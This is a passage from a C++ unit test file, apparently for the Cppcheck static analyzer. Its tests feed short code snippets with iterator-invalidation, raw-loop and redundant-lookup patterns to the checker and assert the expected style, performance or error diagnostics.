}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n 